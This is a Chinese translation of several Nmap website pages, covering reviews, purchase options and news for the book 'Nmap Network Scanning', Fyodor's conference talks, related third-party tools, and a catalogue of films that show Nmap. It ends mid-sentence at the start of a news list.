- NNS 是“充分利用 NMAP 的必备书籍”,其中充满了“就像从专家的肩膀上看一样”的示例和分析——Mike Fratto的热情洋溢且内容丰富的信息周评论。
- “我很惊讶,这么多年过去了,我仍然在学习有关 nmap 的知识。书不错,应该买!”——大卫·梅诺
- NNS 将“很快成为网络工程师、系统管理员和任何在计算机安全领域工作的人的必读书籍……我使用 nmap 已经近十年了,我仍然发现了一些很棒的技巧和窍门。这些页面中的时间。” — Eddie Block的 5 星亚马逊评论。
- “ Nmap 只是 IT 工具箱中的必备工具。同样,IT 领域的任何人都必须阅读这本书才能充分利用该工具。”——About.com 网络安全专家Tony Bradley的详细 5 星评价。
- “这本书详细介绍了您所期望的那种信息,真正的狂热者渴望获得的信息”,同时“阅读过程中的精彩示例轻松有趣” ——David Pybus的5星级亚马逊英国评论。
- “我会推荐这本书作为任何网络或安全专业人员的必备书籍,以及任何想要了解更多关于 TCP/IP 的人” ——JP Bourget非常详细的 Ethical Hacker Network 评论。
- Fyodor 做得非常出色,涵盖了从最基本的 nmap 使用到高级主题(例如规避检测)的所有内容——Jon R. Kibler对渗透测试列表的热情评论。
- “ Fyodor 关于 Nmap 的绝对、令人难以置信的权威指南将为您灌输坚如磐石的扫描策略”— Josef Chamberlin的 5 星级亚马逊评论。
- “本书中包含的大量信息甚至可以让核心的 nmap 专家对卓越的网络扫描仪有所了解。”— Brad Berkemier的评论,也称 NNS“引人入胜且内容丰富”和“终极 nmap 指南”。
- “ Nmap Network Scanning 是一部杰作,向读者传授了网络映射和扫描的艺术……这是我多年来读过的最好的书之一。”——劳尔·西尔斯的评论。
国外报道:Barrapunto(西班牙语)、Tecnozona(西班牙语)、Binary Zone(阿拉伯语)
购买选项
此页面列出了购买 Nmap 网络扫描的在线和实体书店。如果价格发生变化,您找到了另一个不错的选择,或者您遇到任何这些提供商的糟糕服务,请告诉我。
- 亚马逊以32.97 美元的价格出售这本书,其中包括国内运费。它也可以从Amazon.Co.UK、Amazon.CA和Amazon.DE等国际亚马逊网站获得。
- Barnes & Noble在其美国的许多商店都备有 NNS。从他们的Nmap Network Scanning 页面,在右侧的“pick me up”框中输入您的邮政编码,以获取附近商店的列表。您也可以从该页面在线订购,但在亚马逊上更便宜。
- KIMBooks以 29.97 美元的价格列出了 NNS。国内(美国)运费为 3.15 美元,总价为 33.12 美元。
- A1Books.Com列出这本书的价格为 30.32 美元。美国运费为 3.95 美元(总价:34.27 美元)或国际运费为 8.99 美元(总价:39.31 美元)。如果您使用 .edu 电子邮件地址注册,可额外节省 5%。
- Tower Books以 35.99 美元的价格出售 NNS,并提供免费国内送货服务。
- 德国人可以从 Lehmanns 在线或在柏林和汉堡的实体书店购买这本书(请先致电以确保有货)。
更新
有几个人问 Nmap 网络扫描是否仍然是最新的,特别是在Nmap 5.00发布之后。好消息是,几乎所有内容都保持准确。但是我们添加了一些尚未在 NNS 中记录的新功能和 NSE 脚本。
对于 Nmap 的全面和完整的当前视图,我建议先阅读 Nmap Network Scanning,然后阅读自本书完成后我们生成的所有更改日志条目。这本书完全是最新的 Nmap 4.76。因此,在阅读完 Nmap 网络扫描之后(或之前),请访问Nmap 更改日志并在文件中搜索“Nmap 4.76”。从那里向上阅读每个项目(向后滚动),直到到达顶部。
翻译
我们希望通过与外国出版商合作,使 Nmap 书更容易获得,这些出版商将在他们的市场上翻译和分发它。如果您是这样的出版商或知道有什么好的建议,请告诉我。以下是当前或正在进行的翻译:
- Nmap - Netzwerke scannen, analysieren und absichern是 Open Source Press 的德语翻译,于 2009 年 6 月发布,标价为 39.90 欧元。翻译由 Dinu Gherman 熟练地完成。他们贡献了他们的Nmap 参考指南德语翻译。
- Exame de Redes com NMAP是 Editora Ciência Moderna 的巴西葡萄牙语翻译。翻译由Angico完成,发行日期为 2009 年 8 月 26 日。您可以直接从出版商处购买,价格为 95.20 雷亚尔。
- 官方韩语翻译,名为엔맵 네트워크 스캐닝,由Acorn Publishing Co创作。发售日为 2009 年 11 月 16 日,定价为 35,000 韩元。
当前状态
8 月 26 日:许多 Barnes & Noble 商店现在都备有 NNS,如购买部分所述。
8 月 26 日: Editora Ciência Moderna 发布了巴西葡萄牙语翻译。见翻译。
7 月 31 日:在 Defcon举行了签售会。所有副本在 3 小时内售罄。
7 月 17 日:添加了更新部分。
7 月 16 日: Nmap 5.00发布!
6 月 11 日:来自 Open Source Press 的德语翻译现已推出。他们还贡献了 Nmap 参考指南的德语翻译。
1 月 30 日:今天亚马逊价格在几天后回到 32.97 美元,为 37.96 美元。我希望他们保持这个价格!
1 月 23 日:亚马逊提高了价格,所以我增加了更多购买选项,尽管考虑到国内运费,最便宜的仍然只比亚马逊低 4.50 美元左右。
1 月 21 日: NNS 收到About.Com的好评。
1月19日: Nmap Network Scanning韩文、巴西葡萄牙文版已签订翻译合同!有关详细信息,请参阅新的翻译部分。
1月5日: Acorn Publishing Co.将发布Nmap网络扫描的官方韩文翻译!预计八月发布。
1 月 4 日: NNS 终于在亚马逊英国和亚马逊德国有货。亚马逊加拿大目前仍有1-3 周的积压订单。
2008 年 12 月 31 日: NNS 入选 Richard Bejtlich 的 TaoSecurity 2008 年顶级书籍。
2008 年 12 月 29 日:新的《信息周刊》评论是迄今为止最好的评论之一!
2008 年 12 月 19 日:经过 10 天的干燥 期,这本书在亚马逊上重新上架!
2008 年 12 月 10 日:亚马逊现已将这本书编入索引,作为其“内部搜索”计划的一部分。虽然亚马逊打算将其作为潜在买家的营销工具,但对于已经拥有这本书的人来说,它可能更有用。虽然我们为我们的索引感到自豪,但 Search Inside 可以帮助找到更晦涩的术语或它们的组合。您可以通过访问Amazon NNS 页面、向下滚动到 Search Inside 框并输入诸如 Trinity 或 Microsoft 之类的术语来尝试此操作。
2008 年 12 月 9 日:销售额如此之高,以至于亚马逊在美国、英国和德国的库存都已售罄。他们说可能需要一周或更长时间才能发货。亚马逊仍然提供优惠的价格,但对于那些迫不及待的人,我添加了购买选项部分。它包括 A1Books 和 Barnes & Noble 等供应商,NNS 现在有现货。
2008 年 12 月 9 日: Nmap 网络扫描销量进一步飙升,成为亚马逊电脑书畅销书排行榜的第一名!由于我们不能永远保持这个排名,我拍了一张截图(放大版)。
2008 年 12 月 8 日: 出色的Slashdot 评论使 NNS 迅速跻身亚马逊十大计算机书籍。
2008 年 12 月 6 日:亚马逊已将价格固定为 33.71 美元,而不是 49.95 美元。NNS 有现货和发货!
2008 年 12 月 2 日:这本书在亚马逊上有一个初始页面。您现在可以预订,但亚马逊显示预订价格为 49.95 美元。我预计亚马逊在一两周内开始发货时价格约为 33 美元。亚马逊可能会根据他们的“预购价格保证”退还差价,但等待可能更安全。书商 BOOKSPLUSMORESTUFF 声称这本书在亚马逊上“有货”,包括运费在内,售价为 53.94 美元。这可能是真的,也可能不是。
2008 年 11 月 14 日:本书完成并提交给印刷厂!正式发布日期是 2009 年 1 月 1 日,但我们的目标是在 12 月中旬之前在亚马逊和其他零售商处提供。要在发布时收到通知,请加入低流量的nmap-hackers 公告邮件列表。
2008 年 9 月 15 日: Black Hat/Defcon 预发布取得了巨大成功!Defcon 的所有副本在供应商室一开张就被抢购一空,而 Black Hat 的副本也在会议的第一天早上售罄。感谢 No Starch Press 的 Bill Pollock 和 BreakPoint Books 的 Dave Hemsath 处理销售。我的会议演示视频和音频已及时发布到Nmap 4.75 发布,其中包括该演示中讨论的新功能。
2008 年 7 月 25 日:宣布 Defcon 预发布!我们决定在 Defcon 16 上以有限的预发布版本推出这本书。
2008 年 7 月 1 日:经过多年的努力,Nmap 网络扫描即将完成。您可以浏览当前目录以查看即将发布的内容。我们最近对一些出版前的副本进行了测试打印:
有关 Nmap 书籍的最新消息,请加入低流量nmap-hackers 公告邮件列表
由 Fyodor 和 David Fifield 在 Defcon 和 Black Hat USA 2010 上发表
概括
大多数黑客可以使用Nmap进行简单的端口扫描和操作系统检测,但Nmap 脚本引擎 (NSE)将扫描提升到了一个全新的水平。Nmap 的高速网络引擎现在可以爬取网站查找 SQL 注入漏洞、暴力破解和查询 MSRPC 服务、查找开放代理等。Nmap 包含 130 多个 NSE 脚本,用于网络发现、漏洞检测、利用和身份认证破解。
Fyodor和Nmap共同维护人David Fifield没有对NSE进行枯燥的概述,而是展示了常见问题的实际解决方案。他们使用 NSE 扫描了数百万台主机,并讨论了在企业网络上发现的漏洞以及如何使用 Nmap 快速检测您自己系统上的这些问题。然后他们展示了编写自定义 NSE 脚本是多么容易,方法是从头开始编写一个脚本并使用它来破解网络摄像头。全部在 38 分钟内完成,正如在 Defcon 18 现场直播的那样!
Fyodor 和 Nmap 的共同维护者 David Fifield 并没有对 NSE 进行干巴巴的概述,而是展示了常见问题的实用解决方案。他们使用 NSE 扫描了数百万台主机,并讨论了在企业网络上发现的漏洞以及如何使用 Nmap 快速检测您自己系统上的这些问题。然后他们展示了编写自定义 NSE 脚本是多么容易,方法是从头开始编写一个脚本并使用它来破解网络摄像头。全部在 38 分钟内完成,正如在 Defcon 18 现场直播的那样!
演示视频
演示视频有多种格式。最方便的可能是我们 Defcon 演示的这个 38 分钟流式 Flash 版本:
视频可以下载为 QuickTime 格式:标准尺寸(640x320;47MB)或高清(1200x600;131MB)。
我们还在 Black Hat Briefings USA 2010 上进行了演示。该版本大约是两倍长(73 分钟)并且包含更多信息。主要新增内容是介绍我们的 Web 图标(favicon)项目的部分和展示最近 Nmap 新闻和发展的部分。您可以在 Vimeo 上观看Flash 版本或下载标准尺寸(640x320; 93MB) 或高清(1200x600; 259MB) 的视频。
幻灯片和音频
演示文稿包括许多现场演示,因此您会错过很多只阅读幻灯片或听音频的机会。
演示幻灯片 (PDF): Defcon , Black Hat
演示 MP3 音频:Defcon (18MB)、Black Hat (35MB)
其他演讲
如果你喜欢这个演讲,你可能会喜欢Fyodor 的 Nmap Presentation Page上列出的其他演讲。或前往Insecure.Org或Nmap.Org的主页。
我 ( Fyodor ) 于 2000 年 5 月在 CanSecWest 进行了我的第一次正式安全演示,从那时起我一直很喜欢演讲。安全会议是与志同道合的黑客学习、交流和聚会的好方法。我参加过许多活动,包括Defcon、CanSecWest、 Black Hat Briefings、 IT Security World、Security Masters' Dojo、ShmooCon、IT-Defense、FOSDEM、SFOBug、斯坦福大学、乔治华盛顿大学和各种企业活动。 我的许多演示文稿都列在此页面上。他们中的大多数人只有幻灯片可用,这通常不能提供足够的背景来跟踪会谈。我的一些较新的谈话(如注明)张贴了视频和录音。 |
专题演讲
这些是我最喜欢的带有音频和视频的演示文稿。
Black Hat USA / Defcon 2010 — 掌握 Nmap 脚本引擎
大多数黑客可以使用Nmap进行简单的端口扫描和操作系统检测,但Nmap 脚本引擎 (NSE)将扫描提升到了一个全新的水平。Nmap 的高速网络引擎现在可以蜘蛛网站查找 SQL 注入漏洞、暴力破解和查询 MSRPC 服务、查找开放代理等。Nmap 包含 130 多个 NSE 脚本,用于网络发现、漏洞检测、利用和身份验证破解。
Fyodor 和 Nmap 的共同维护者 David Fifield 并没有对 NSE 进行干巴巴的概述,而是展示了常见问题的实用解决方案。他们使用 NSE 扫描了数百万台主机,并讨论了在企业网络上发现的漏洞以及如何使用 Nmap 快速检测您自己系统上的这些问题。然后他们展示了编写自定义 NSE 脚本是多么容易,方法是从头开始编写一个脚本并使用它来破解网络摄像头。全部在 38 分钟内完成,正如在 Defcon 18 现场直播的那样! |
Black Hat USA / Defcon 2008—Nmap:扫描互联网
Nmap 安全扫描器是为有效扫描大型网络而构建 的 ,但我在 2008 年夏天作为 Worldscan 项目的一部分,通过扫描数百万个 Internet 主机将其提升到了一个新的水平。我介绍了这些扫描中最有趣的发现和经验统计数据,以及提高您自己的扫描性能的实用建议。还提供了新 Nmap 功能的概述,包括Nmap 脚本引擎、Zenmap UI、新的性能选项、Ncat 和 Ndiff。这些功能中的大部分已经被集成到官方 Nmap 版本中。 |
ShmooCon 2006—使用 Nmap 进行高级网络侦察
其他演讲
本节中的演示文稿通常只有幻灯片可用(没有视频),或者它们被上面精选部分中的新演讲所取代。
-
Wireshark Sharkfest 2011—Nmap Turbo Talk简短(25 分钟)介绍 Nmap 和最近的工作。
-
CanSecWest 2009—Ninja Scanning展示了新的 Nmap 功能和高级扫描技术。
-
iSec 合作伙伴论坛(2008 年)——新的 Nmap。关于 Nmap 新功能和即将推出的功能的 30 分钟演示。这是在我较长的 Black Hat 和 Defcon 2008 演讲之后不到 2 周,并且主要是该材料的一个子集。
-
Wireshark Sharkfest (2008)——我与 Wireshark 的作者 Gerald Combs、Kismet 的作者 Mike Kershaw 一起参加了一个关于开源网络工具未来的小组讨论。会议视频可在此处获得。
-
Defcon 13 (2005) — Nmap 黑客。我提供了几个与主机发现、大型网络上的单一服务发现和绕过防火墙相关的任务。然后我演示了如何使用 Nmap 和免费工具有效地解决这些问题。
-
CanSecWest 2005—Nmap 黑客。本次演讲涵盖了高级主机发现,并首次介绍了 Nmap ARP 扫描
-
IT-Defense 2004 — 使用 Nmap 进行网络侦察。我首先介绍足迹以查找组织的 IP 地址,然后演示对原始数据包的仔细检查如何帮助确定防火墙的 IP 欺骗。接下来我将讨论提高性能、绕过防火墙规则和规避入侵检测系统的技术。
-
2003 年雅虎安全会议——使用 Nmap 进行网络侦察。这是我第一次介绍Nmap 版本检测。它还涵盖了足迹、性能和 IDS 规避。
-
旧金山 OpenBSD 用户组 (SFOBUG) 2003—Nmap。这个非正式的演讲使用www.openbsd.org的扫描来展示 Nmap 的关键特性以及一些有用的扫描技巧。
-
附属计算机系统 (ACS) 客户研讨会 (2001) — 新兴技术的安全风险:无线网络和入侵检测系统。本演讲讨论了无线网络和 IDS 系统中固有的风险,以及企业如何安全地设置这些风险来降低风险。
-
CanSecWest 2001 — 隐形扫描和 IDS 规避技术。演示了如何使用 Nmap 进行隐身扫描,然后演示了先进的 IDS 规避技术。提供了自定义工具来定位网络(或 Internet)上的 Black ICE IDS 安装,然后操纵它们报告的结果。
-
2001 年开源开发者欧洲会议——网络侦察技术。介绍了 Nmap(当时只有 3.5 年的历史)并解释了用于主机发现、端口扫描和网络拓扑检测的高级(当时)技术。
-
Defcon 7 (1999):扫描简介。官方(注册)演讲者是 M0dify,但当很明显整个演讲都是关于 Nmap 时,Fyodor 最终加入了他的舞台。
-
Nmap 相关项目
有些人一直致力于扩展 nmap 以添加新功能或通过其他改进使其受益。以下是我知道的项目(如果您有其他项目,请发邮件给我):
- Nmap Online是一个方便的基于 Web 的 Nmap 界面——一种扫描自己并从 Internet 端查看您的计算机或网络外观的方法。他们还有一个Nping Online系统。
- Self Audit My Server (SAMS)是一个基于 Web 的应用程序,允许您针对 Internet 主机运行 Nmap 和其他一些安全工具。
- Nmap-CGI是一个基于 Web 的应用程序,用于使用 Nmap 扫描您的网络。它提供用户管理和权限级别来控制谁可以扫描什么。
- Ruby Nmap::Parser 是一个 Ruby 库,用于执行 Nmap 扫描并解析输出以用于更高级别的应用程序/脚本。它是由克里斯·卡特约翰 (Kris Katterjohn) 创建的。
- Nmap::Scanner使用 Perl 以编程方式执行 Nmap 扫描。它由 Max Schubert (nmap&at&webwizarddesign.com) 编写。
- Nmap-Parser是一个用于解析 Nmap 的 XML 输出的 Perl 模块。它是由 Anthony Persaud 创建的。
- Cancerbero是一个基于 nmap 的端口扫描引擎,它可以自动执行定期扫描、将结果存储在 MySQL 中并生成警报、更改报告等。为配置和数据挖掘提供了一个 Web 界面。
- Inprotect为 Nmap 和 Nessus 以及某些服务提供免费 (GPL) 网络前端软件。
- Alexandre Sagala 创建了一个名为 KNmap的 Qt/KDE 前端[ screenshot ]
- 您可以使用 Ulrich Keil 提供的这个简单但有用的 Web 服务对 自己进行端口扫描。
- Joshua D. Abraham <jabra&at&ccs.neu.edu> 创建了Pbnj,这是一个用于运行 Nmap 扫描和区分结果的工具。
- 远程 nmap (Rnmap) 是一对客户端和服务器程序,允许各种授权客户端从中央服务器运行其端口扫描。它是由 Tuomo Makinen <tmakinen&at&pp.htv.fi> 编写的。
- Alek O. Komarnitsky (alek&at&komar.org) 创建了nmap-web,这是一个安装在 Web 服务器上的简单 Perl/CGI 脚本,它允许您通过 Web 界面提交 nmap 命令(并接收响应)。这尤其面向“白帽”系统管理员,他们试图弄清楚哪些端口是开放的,哪些版本的程序正在运行。
- RadialNet是一个用于可视化 Nmap 数据的华丽工具。它由若昂·保罗·德·索萨·梅代罗斯 (João Paulo de Souza Medeiros) 创建。请注意,此功能现在包含在我们的Zenmap GUI中。
- Vacuum 已创建Winfingerprint,这是一个使用 SMB 来确定网络上 Windows 机器的操作系统、共享、用户和其他信息的应用程序(注意:此扫描仪目前仅在 Windows 上运行)。
电影中的Nmap
由于未知的原因,好莱坞已经决定Nmap是需要黑客场景时的工具。至少它比以前许多电影中使用的愚蠢的3D动画方法(例如《黑客》中的 "黑掉Gibson",或者《剑鱼》中更加糟糕的描绘)要真实得多。我们总是喜欢在电影中看到Nmap,所以我们在这里对已知的例子进行了编目。
如果您在其他电影中看到Nmap,请给Fyodor写信。第一个这样做的人将赢得您选择的Nmap网络扫描官方书籍签名副本或零日服装Nmap商店中您选择的T恤衫。当电影被添加时,您也会在本页面上得到奖励! 请注意,虽然我们喜欢听到在任何流行文化中发现的Nmap,但只有真正的电影(不是电视节目)才能算作奖品。除非Nmap引用非常神奇,我们无论如何都将它添加到此页面。
更新(2020年4月21日)。我(Fyodor)在添加新电影方面已经落后了。对此我很抱歉! 我们仍然欢迎并鼓励您提交以上所述的电影,只要您明白,该奖可能已经被授予了更早提交的电影,而这些电影可能还没有出现在这个页面上。
也欢迎电影剧本作者、艺术家和数字资产管理人向Fyodor 发电子邮件征求意见。我们很高兴能帮助一些电影通过改善黑客攻击的场景而使其更加真实和有趣。
重载矩阵(译者注:也叫 黑客帝国2 重装上阵)
虽然 Nmap 曾在一些不知名的电影中使用过,但 真正将 Nmap 变成电影明星的 是The Matrix Reloaded(维基百科、IMDB、亚马逊)!
我们都看过很多电影,比如《黑客》,它们将荒谬的 3D 动画令人眼花缭乱的场景伪装成黑客行为。所以 Fyodor震惊地发现 Trinity 在The Matrix Reloaded中做得很好。由于需要破解城市电网,她拿出了Nmap版本 2.54BETA25,用它找到一个有漏洞的SSH服务器,然后继续使用 2001 年的SSH1 CRC32漏洞利用它。为有漏洞的城市感到羞耻(时间说明) .
YouTube或matrix-nmap.mp4上提供了该漏洞利用的视频。单击以下缩略图以获得更高的分辨率或在此处查看更多图片。
海洋8号
Ocean's 8(维基百科、IMDB、亚马逊)是一部 2018 年的喜剧抢劫电影,由桑德拉·布洛克、蕾哈娜、凯特·布兰切特和安妮·海瑟薇主演,延续了2001 年海洋十一人开始的系列。蕾哈娜扮演电影的主要黑客九球。她在许多场景中使用 Nmap 来破坏负责保护他们想要窃取的价值 1.5 亿美元的钻石项链的人和公司。Nmap 通常在后台显示为她的黑客攻击的背景,而不是扮演主角。
在此屏幕(完整版)中,Nmap 显示在右侧的两个屏幕中,同时他们正在对左侧的目标项链进行 3D 扫描:
这是整个团伙聚集在一起(大概)分析他们的 Nmap 结果(图片来自The Mercury News):
就连电影预告片在 1:50 也能看到 Nmap:
有关 Ocean 的 8 个黑客场景本身的更多详细信息,请参阅安全研究员 Samy Kamkar 的分析。
恭喜 Alejandro Hernandez 率先发现并报告 Nmap 场景!
斯诺登
奥利弗·斯通 (Oliver Stone) 的 2016 年斯诺登电影(维基百科、IMDB、亚马逊)戏剧化了爱德华·斯诺登(Edward Snowden)大规模泄露机密文件,揭示了 NSA 对美国公民的广泛监视。在早期的一个场景中,斯诺登在 CIA 培训班上面临网络安全挑战,预计需要 5 到 8 个小时。但是在Nmap的帮助和一个名为 ptest.nse的自定义Nmap NSE脚本的帮助下,斯诺登在 38 分钟内完成了所有事情,从而震惊了教授!Nmap 独特的表格输出也可以在其他学生的屏幕上看到,尽管我们可能必须等待 4K 分辨率的电影发布才能读取确切的文本。以下是 Nmap 场景的几个屏幕截图:
这是整个预告片(Nmap 在 34 秒时一瞥):
恭喜尼泊尔Prabesh Thapa率先发现并报道Nmap场景!
疏通
Dredd(维基百科、IMDB、亚马逊)是著名的Judge Dredd漫画改编的电影,于2012年上映,包含多个Nmap场景。
在巨型城市一号这个巨大的、后世界末日的大都市中,唯一的法律是由正义殿堂的法官提供的——警察拥有法官、陪审团和刽子手的权力。这些执法者中最害怕的是冷酷无情的德雷德法官(卡尔·厄本饰)。他和学员法官卡桑德拉·安德森(奥利维亚·瑟尔比饰)潜入一座臭名昭著的高层贫民窟塔楼,该塔楼由前妓女变身毒枭玛玛(莉娜·海蒂饰)控制。对于网络侦察和贫民窟塔网络的利用,他们求助于 Nmap!三分钟的电影预告片简要显示了针对 TCP 端口 22 ( SSH ) 的 Nmap版本扫描:
恭喜 Aleksei Usov 率先发现并报告 Nmap 场景!
极乐世界
2013 年科幻电影《极乐世界》 (维基百科、IMDB、亚马逊)由马特·达蒙和朱迪·福斯特主演。它将我们带到 2154 年,那时人口过剩的地球充斥着贫困、犯罪和破坏,而富人则住在豪华的空间站上。Nmap 版本 13(我想这真的是未来!)用于端口扫描 Matt Damon 的增强大脑,然后传输他携带的数据以尝试入侵空间站。
Nmap 动作:
预告片:
恭喜 Tavis Ormandy 和 André Luna 首先发现了 Nmap 场景。
神奇四侠
神奇四侠(维基百科、IMDB、亚马逊)是一部 2015 年大制作的超级英雄电影,改编自漫威漫画同名团队。在影片中,Sue Storm(由Kate Mara饰演)使用她的 Nmap 技能来追踪一个同伴。她的电脑闪烁“IPSCAN”,然后是“TRACEROUTE”、“PORTSCAN”,最后是“NMAP”。屏幕截图(点击第二张查看大图):
预告片:
恭喜grmlber第一个注意到并举报!
我是谁——没有一个系统是安全的
我是谁——没有系统是安全的(维基百科、IMDB、亚马逊)是 2014 年德国网络惊悚片,讲述了黑客组织(以匿名者为原型)争夺最大胆的系统妥协和恶作剧的决斗。在电影 13 点 40 分开始的场景中,主角本杰明通过损害当地电力公司并造成短暂的停电来证明自己的技能。他通过运行他可能编写的Nmap 脚本引擎 (NSE)脚本来做到这一点。该脚本名为 iec-backdoor.nse,参考了国际电工委员会 (IEC)控制公用电网设备的标准。这一点现实主义是一个很好的接触!屏幕截图:
预告片:
恭喜 Edko 第一个注意到并报告它,以及 Thomas Zuber 发送了第一个截图!
伯恩最后通牒
在The Bourne Ultimatum(维基百科、IMDB、亚马逊)中,中央情报局需要入侵一家报纸(英国卫报)的邮件服务器才能阅读他们暗杀的一名记者的电子邮件。所以他们求助于Nmap及其新的官方 GUI Zenmap来破解邮件服务器!Nmap 报告邮件服务器正在运行 SSH 3.9p1、Posfix smtpd 和名称服务器(可能是绑定的)。他们还大量使用了Bash,即 Bourne-again 的 shell。恭喜 Roger Chui 成为第一个发现这一点的人。他还发送了一个场景记录和以下高清屏幕截图(点击查看完整分辨率):
虎胆龙威 4
Yippee Ki-Yay! 在 Die Hard 4: Live Free or Die Hard (维基百科、 IMDB、亚马逊)中,侦探约翰麦克莱恩(布鲁斯威利斯)被派去找回黑客马修法雷尔(贾斯汀朗),因为 FBI 怀疑他破坏了他们的计算机系统。后来,贾斯汀被征召来帮助挫败恐怖分子策划者托马斯加布里亚尔企图彻底毁灭世界的企图。在这个场景中,Farrell 展示了他的 Nmap 技能:
感谢 Andrew Hake 捕捉客串并发送这些高清屏幕截图。场景发生在电影大约 8 分钟后。
龙纹身的女孩
龙纹身的女孩(瑞典语:Män som hatar kvinnor)是一部 2009 年瑞典惊悚片(维基百科、 IMDB、亚马逊),改编自 Stieg Larsson 的国际畅销小说。讲述了 Lisbeth 的故事,她是一名患有阿斯伯格综合症的困扰的年轻黑客,并且有被权威人士虐待的历史,她与一名记者合作,试图解开一个 40 年的谋杀之谜。它是 2009 年票房第三高的非英语电影。
Nmap 场景仅持续片刻,大约发生 6 分钟。请注意,这是原始电影(亚马逊上有英文字幕版)。2011 年发布了好莱坞大预算翻拍版(IMDB、维基百科、亚马逊),尽管他们可能通过削减 Nmap 场景毁掉了它!
2010 年美国/英国字幕版本的预告片:
G.I。乔:报复
Nmap 在 2013 年的动作片《 GI Joe: Retaliation 》 (维基百科、IMDB、亚马逊)中被用于发射核武器。虽然他们的语法有点古怪,但他们似乎用 Nmap 扫描导弹发射井,ssh 到每个定位的洲际弹道导弹,su 到 root,然后执行命令来武装和发射它。以下是电影预告片后的屏幕截图:
感谢 Dillon Korman 捕捉现场并发送截图!
听力
Nmap 和 NmapFE 被用于 The Listening(维基百科、IMDB、亚马逊),这是一部 2006 年的电影,讲述了一名前 NSA 官员叛逃并在意大利阿尔卑斯山高处安装了一个秘密反监听站。感谢 Addy Yeow Chin Heng 的截图。
正义联盟:末日
Nmap 用于《 正义联盟:毁灭战士》(维基百科、IMDB、亚马逊)的片头字幕。这部 2012 年的超级英雄动画电影以蝙蝠侠、超人、神奇女侠和绿灯侠与一群超级恶棍作战。感谢 Spencer Davenport 捕获并发送屏幕截图。有趣的是,在大多数情况下(但不是全部),他们将 Nmap 输出中的 Nmap URL (http://nmap.org) 更改为 http://we.inc (Wayne Enterprises)。此外,他们在 2011 年 8 月使用 2006 年的 Nmap (4.20) 版本运行了该命令。我意识到蝙蝠侠有很多重要和英勇的工作要做,但他肯定可以腾出 5 分钟时间下载并安装最新版本的地图!
绑架
绑架(维基百科、IMDB、亚马逊)是一部 2011 年的惊悚片,讲述了一名少年(来自暮光之城系列的泰勒·洛特纳)在失踪人员网站上找到他的婴儿照片后着手揭露他生活的真相。在这个过程中,他被一个使用 Nmap 的塞尔维亚黑客追随者和其他恶棍追捕。如果您在下面的屏幕截图中注意到一些熟悉的背景 Nmap 扫描,那是因为电影制作人直接从The Matrix Reloaded中抄袭了其中一些。
提取的
2012 年的科幻惊悚片《Extracted 》 (IMDB,亚马逊)描绘了一位科学家发明了一种观察人们记忆的技术,但在进入一名涉嫌谋杀的海洛因吸毒者的头脑时遇到了麻烦。Nmap 被用作进入某人思想的系统的一部分(也许那是一个 NSE 脚本)。屏幕截图(点击查看全文):
此处还提供预告片。感谢 Sander Ferdinand 发现和报告 Nmap 场景。
13:死亡游戏
Nmap 曾用于备受赞誉的泰国惊悚片13:死亡游戏 (维基百科、 IMDB、亚马逊),也被称为“13 Beloved”和“13 game sayawng”。这部电影讲述了一个男人有机会完成 13 次挑战以赢得 1 亿美元的故事。接连不断的挑战变得越来越激烈、危险、非法、有辱人格和怪诞。1亿美元你会做什么?最终,他的一位系统管理员朋友开始担心他,她通过闯入扭曲游戏的网站展示了 Nmap 黑客技能(更长的摘要)。
我们收到了现场的AVI 视频(5MB) ,还有大量截图。
感谢 Tazman 首先通知我这个场景,感谢 Laga Mahesa 和 Ithilgore 发送截图。
大逃杀
大逃杀(维基百科, IMDB,亚马逊),也被称为 Batoru Rowaiaru,是一部奇怪且有争议的日本电影,讲述了政府派出的一个 9 年级学生到一个废弃的岛屿上安装爆炸项圈并被迫杀死每个学生作为一部分一个扭曲的生存游戏。其中一名学生是一名黑客,可以看到在这些剪辑中引用了 Nmap 源代码:
破碎的圣徒
破碎的圣徒(维基百科、IMDB、亚马逊)是一部屡获殊荣的动画电影系列(动作漫画),由 24 章制作,于 2001 年至 2003 年首次在线发布。然后在2006 年由 20 世纪福克斯发行的DVD 版本中对其进行了改进。这是一个复杂的 12 小时故事,讲述了来自“地球上安静的角落”的四个陌生人,他们都收到了即将到来的邪恶的幻象。
这四个陌生人之一,Raimi,是一位年轻的安全软件开发人员,他使用 Nmap 破坏系统并揭露他疏远的雇主的公司背叛行为。Nmap 场景在第 2 章Cryptic中,可以在 Youtube 上免费观看。您实际上不需要先观看第 1 章,但可以在此处获得。Nmap 浮雕最早是由大卫亚历山大发现的。截图:
霍塔比奇
在 2006 年的俄罗斯电影 Khottabych(维基百科,IMDB )中,一名青少年黑客 (Gena) 使用 Nmap(然后是 telnet)来破坏 Microsoft.Com 。可以理解,微软和美国当局对这次攻击感到不安,因此他们派出迷人的女黑客安妮将他赶出去。这部电影还展示了强大的精灵(装在瓶子里的那种)之间为争夺地球统治权而进行的史诗般的战斗。感谢 Paul Shatov 通知我们并发送截图!我从亚马逊购买了这张 DVD,但它是 5 区,不提供英文配音或字幕。我不得不使用这个字幕文件。Wikipedia 声称发布了 Region 1 英文 DVD。
HaXXXor:不再是软盘
凭借风靡一时的“HaXXXor”系列低预算电影,Nmap 实现了从科幻向软核色情的飞跃。“HaXXXor Volume 1: No Longer Floppy”包括模型 E-Lita 的冗长 Nmap 训练场景。以下是她还穿着衣服时早期的一些照片:
血腥星期一
在日剧《血腥星期一》中,一位名叫猎鹰的黑客必须利用他的计算机技能来解开一个神秘的项目“血腥星期一”,并阻止一场生物恐怖袭击毁灭东京。Nmap 用于多集,从第一季第一集开始。您还可以在此剪辑(第 2 季第 4 集)中找到大约 20 秒使用的 Nmap。真实描绘的其他安全工具包括 Netcat、Rainbow Crack 和 Sadmind 漏洞利用。感谢 Shirase Akira 首先报告了这一点。
Nmap 源代码显示在Battle Royale电影中
JWZ已将此破解场景添加为XScreenSaver 4.10 复活节彩蛋 - 运行“xmatrix -small -crack”
新闻中的 Nmap
Nmap 最近收到了很多新闻。以下是相关故事的链接。如果您在其他文章或书籍中看到 Nmap,请让 Fyodor 知道。
Nmap 现在已经出现在很多电影中,它们已经被移到了一个特殊的 Nmap 电影页面。此页面仅涵盖新闻文章、评论、书籍和流行文化参考。
Nmap 教程和其他文档改为 发布在Nmap 文档页面上。
记者/作者:请在发表有关 Nmap 的文章之前告诉我。我很乐意查看它们并指出任何更新的信息/不准确之处,或提供指向可能有帮助的其他资源的指针。即使您不先写信给我,也可以在发布时将 URL(如果有)发送给我,我将在此处添加链接。我还提供了许多与 Nmap 和安全性相关的书籍的技术评论。
- Nmap 荣获 Linux Journal 的最佳安全工具编辑选择奖。文章赞叹:
